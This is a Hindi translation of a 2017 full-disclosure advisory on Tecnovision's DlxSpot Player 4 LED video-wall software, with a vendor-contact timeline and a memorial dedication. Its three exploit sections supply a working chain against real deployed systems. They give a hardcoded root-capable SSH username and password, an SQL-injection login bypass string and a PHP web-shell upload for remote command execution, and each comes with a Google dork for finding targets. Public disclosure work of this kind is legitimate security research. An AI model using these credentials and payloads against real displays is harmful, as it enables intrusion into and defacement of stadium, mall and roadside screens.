Tecnovision LED वीडियो वॉल कमजोरियाँ और शोषण। SQLi से पूर्ण रूट एक्सेस तक।

परिचय:

Tecnovision LED वीडियो वॉल की निर्माता है जिनका उपयोग एरेना (उदाहरण के लिए, Twickenham Stadium), कॉन्सर्ट हॉल, शॉपिंग मॉल, सड़क संकेतों और बहुत कुछ में किया जाता है। DlxSpot Player 4 इनमें से कुछ LED वॉल के लिए सॉफ़्टवेयर नियंत्रक है। ये वे अनपैच्ड शोषण हैं जिन्हें मैंने खोजा है जो (हा!) SQLi से पूर्ण रूट एक्सेस तक ले गए। (कृपया ध्यान दें कि हार्डकोडेड पासवर्ड अंतिम खोज था, वे इस सूची में उन्हें सौंपे गए CVE नंबरों के अनुसार क्रमबद्ध हैं) इसे पढ़ने के लिए समय निकालने हेतु धन्यवाद। यदि आपके कोई प्रश्न हैं, तो मुझे ट्विटर पर @unknownpwn पर संपर्क करें।

मैं यह कार्य अपने मित्र और साले को समर्पित करना चाहता हूँ, जिनका हाल ही में निधन हुआ, Marcus Åström। आपको शांति मिले। 1994-04-05 ✞ 2017-09-11

समयरेखा:

2017-05-14 - कमजोरियों की खोज।
2017-05-15 - निर्माता होमपेज पर संपर्क फ़ॉर्म के माध्यम से Tecnovision से संपर्क किया।
2017-06-01 - कोई प्रतिक्रिया नहीं, होमपेज पर कई संपर्क फ़ॉर्मों के माध्यम से फिर से संपर्क करने का प्रयास किया।
2017-08-10 - CVE असाइनमेंट का अनुरोध करते हुए Common Vulnerabilities and Exposures (CVE) से संपर्क किया।
2017-08-17 - मिली कमजोरियों के लिए तीन CVE's असाइन किए गए।
2017-08-22 - साथी हैकर और मित्र byt3bl33d3r की मदद से, कंपनी को इतालवी में एक ईमेल भेजा।
2017-09-18 - कोई प्रतिक्रिया नहीं, पूर्ण सार्वजनिक खुलासा।

1. हार्डकोडेड रूट SSH पासवर्ड।

# Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password.
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom 
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12928
# Linked CVE's: CVE-2017-12929, CVE-2017-12930

सभी DlxSpot Players 4 के लिए हार्डकोडेड पासवर्ड, डिफ़ॉल्ट रूप से पोर्ट 22 पर SSH के माध्यम से सुलभ। रूट लॉगिन अक्षम है।

username: dlxuser password: tecn0visi0n

लॉग इन करने के बाद, रूट विशेषाधिकार बढ़ाने के लिए उसी पासवर्ड के साथ sudo su चलाएँ।

2. एडमिन इंटरफ़ेस SQL इंजेक्शन

# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

DlxSpot Player 4 संस्करण 1.5.10 से ऊपर एडमिन इंटरफ़ेस में SQL इंजेक्शन कमजोरी से ग्रस्त है और शोषणीय है > निम्नलिखित इंजेक्शन के साथ।

username:admin password:x' or 'x'='x

3. RCE के लिए मनमाना फ़ाइल अपलोड

# Exploit Title: DlxSpot - Player4 LED video wall - Arbitrary File Upload to RCE
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/ 
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12929
# Linked CVE's: CVE-2017-12928, CVE-2017-12930.

DlxSpot Player 4 - resource.php में अप्रतिबंधित मनमाना फ़ाइल अपलोड जो रिमोट कमांड निष्पादन की ओर ले जाता है।

http://host/resource.php पर जाएँ और PHP शेल अपलोड करें। उदाहरण के लिए: <?php system($_GET["c"]); ?>
RCE http://host/resource/source/shell.php?c=id के माध्यम से
आउटपुट: www-data

MMMMMMMMWXd;'  .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc..,cdKWMMMMMMMM
MMMMMMMXd:;.    ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNl    .;cdKWMMMMMM
MMMMMWO;.;,   .  :XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd.     ':';xWMMMMM
MMMMWx.',;'  'c.  oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk.  :;  .,;,.oNMMMM
MMMWd..l,''  .:'  .dWMMMMMMWWWXNMMMMMMNNWWWMMMMMMWk.  .:,  .,'l,.oNMMM
MMWk,;lc.., ..,;   .dNMMMMXdkO:xMMMMMWxc0kxNMMMMWk.   ,,.. ''.:o,.dWMM
MMXodxc' .,....;'   .lXMMWd';,.cXMMMMK:.;;'xWMMXo.   .;... ,. 'lxdl0MM
MXkoo;'.  ;,'' ';..   'dKk,....;0MMMMO'....;OXx,    .;' .'':. .,:xdONM
Nl';;...  :l:;,. ',..   .'..'..cONWWXO:.''..,.    .,'.',::lc. .'.:c;lX
0l;,'... .'l:.......'....      .;0WWk'.       ...'.....'.cl,. ...';;:k
Kx;.. .. ..', .,;,....'','.....,OWMMNd......',''....,:'..;,.. .. .':kK
x:... .. ...' .. ,l;.'. .. ...lKMMMMMWO:.'. .. ...:l'....,... .. ...ck
:,..  .. ...,... ..';,,''..,;;OWMMMMMMNo,:' .,',;;''. ...,... .. ...,c
,'.'. .. .. .',,.'..,.''..'..lNMMMMMMMM0;.''..;.., ...,''...  .. .'.',
c',c. .. .. .;c;':,.:'....;::xXMMMMMMMMOl;;,....;:.;,'cc, ..  '. .l'':
k;,,. .'. ...;'';::,,,.',;OXNWWMMMMMMMMWNX0l',..:,,lc;':, .. .'  .c,;k
k:'..  ;, ...;..,.'ll:ckkxXMMMMMMMMMMMMMMMWkdxo::l:',,.'; .. ,,  .'':O
0c..'  lo...'c.'c..kNOxXMWWMMMM R I P MMMMWNWWOx0K: ;:.;:....o; .'.'l0
Xl..;. o0;.':o,.dc.kMWNWMMMMMMMMMMMMMMMMMMMMMWNNMX:.d:.lc'. c0; ', .xX
Wl ,k:.ckd..oOc.o0cdWMMMMMMM M A R C U S MMMMMMMM0:dO'.xx:.,kO, ll..kM
Nc.okl,::ol'cxd,;KK0WMMMMMMMMMMMMMMMMMMMMMMMMMMMM0OXd.ckx;'dol,,kk,.xM
Nc;c.:ol..loc:dx:kMWMMMMMMM  A S T R O M  MMMMMMWWXccklccoc.:ll:ll'xMM
Noc' .oo' .lo':KO0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxKo,lkc  lk: .::kM
NOx' .',,  ..  .dWMMMM 1994-04-05 ✞ 2017-09-11 MMMMWWO' ';. .::'  cdOM
WN0, ,;.,. ... .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:  .. .;.., .dKXM
MMN: lx..;. .,. ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXc  ''  ,,.co..OWWM
MMWd'lk:.':. 'c' ,0WMMMMMMM FOREVER LOVED MMMMMMMMXc .:;  ;;.'kx.:XMMM
MMW0dlcc,.;l. ,xd,;OWMMMMM NEVER FORGOTTEN MMMMMW0:.cd: .::..cdocxWMMM
MMNo;,:;';'co' 'kXkkXMMMMMMMMMMMMMMMMMMMMMMMMMMMXxx0O; .ll',;::cokNMMM
MMX: .l: .,co:'..dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWk'.'ldc;'.:c. :XMMM
MM0' 'Ol   cl..;:,lXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,,,.'oc.  ox. ;KMMM
MWd..xNl  .lc  ,0KdxXMMMMMMMMMMMMMMMMMMMMMMMMMMWKdo0k'  lc   dXc .OMMM
WO;:OWNc  .kd  .OMMNNWMMMMMMMMMMMMMMMMMMMMMMMMMWXNWMx. .xd.  oWXc.cXMM
WK0NMMK,  cNx. 'OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMx. '00'  lNMNOd0WM
MMMMMMk. ,0Mk. ;KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. ,KWo. ;KMMMMMMM
MMMMMNc 'OWMk..dWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK; ;XMXc .kMMMMMMM
MMMMMk';0WMMk':XMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx.;XMMXc.cNMMMMMM
MMMMXddXMMMM0xKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdoNMMMNd:OMMMMMM
MMMMNXWMMMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNXWMMMMWOkNMMMMM

unknownpwn.github.io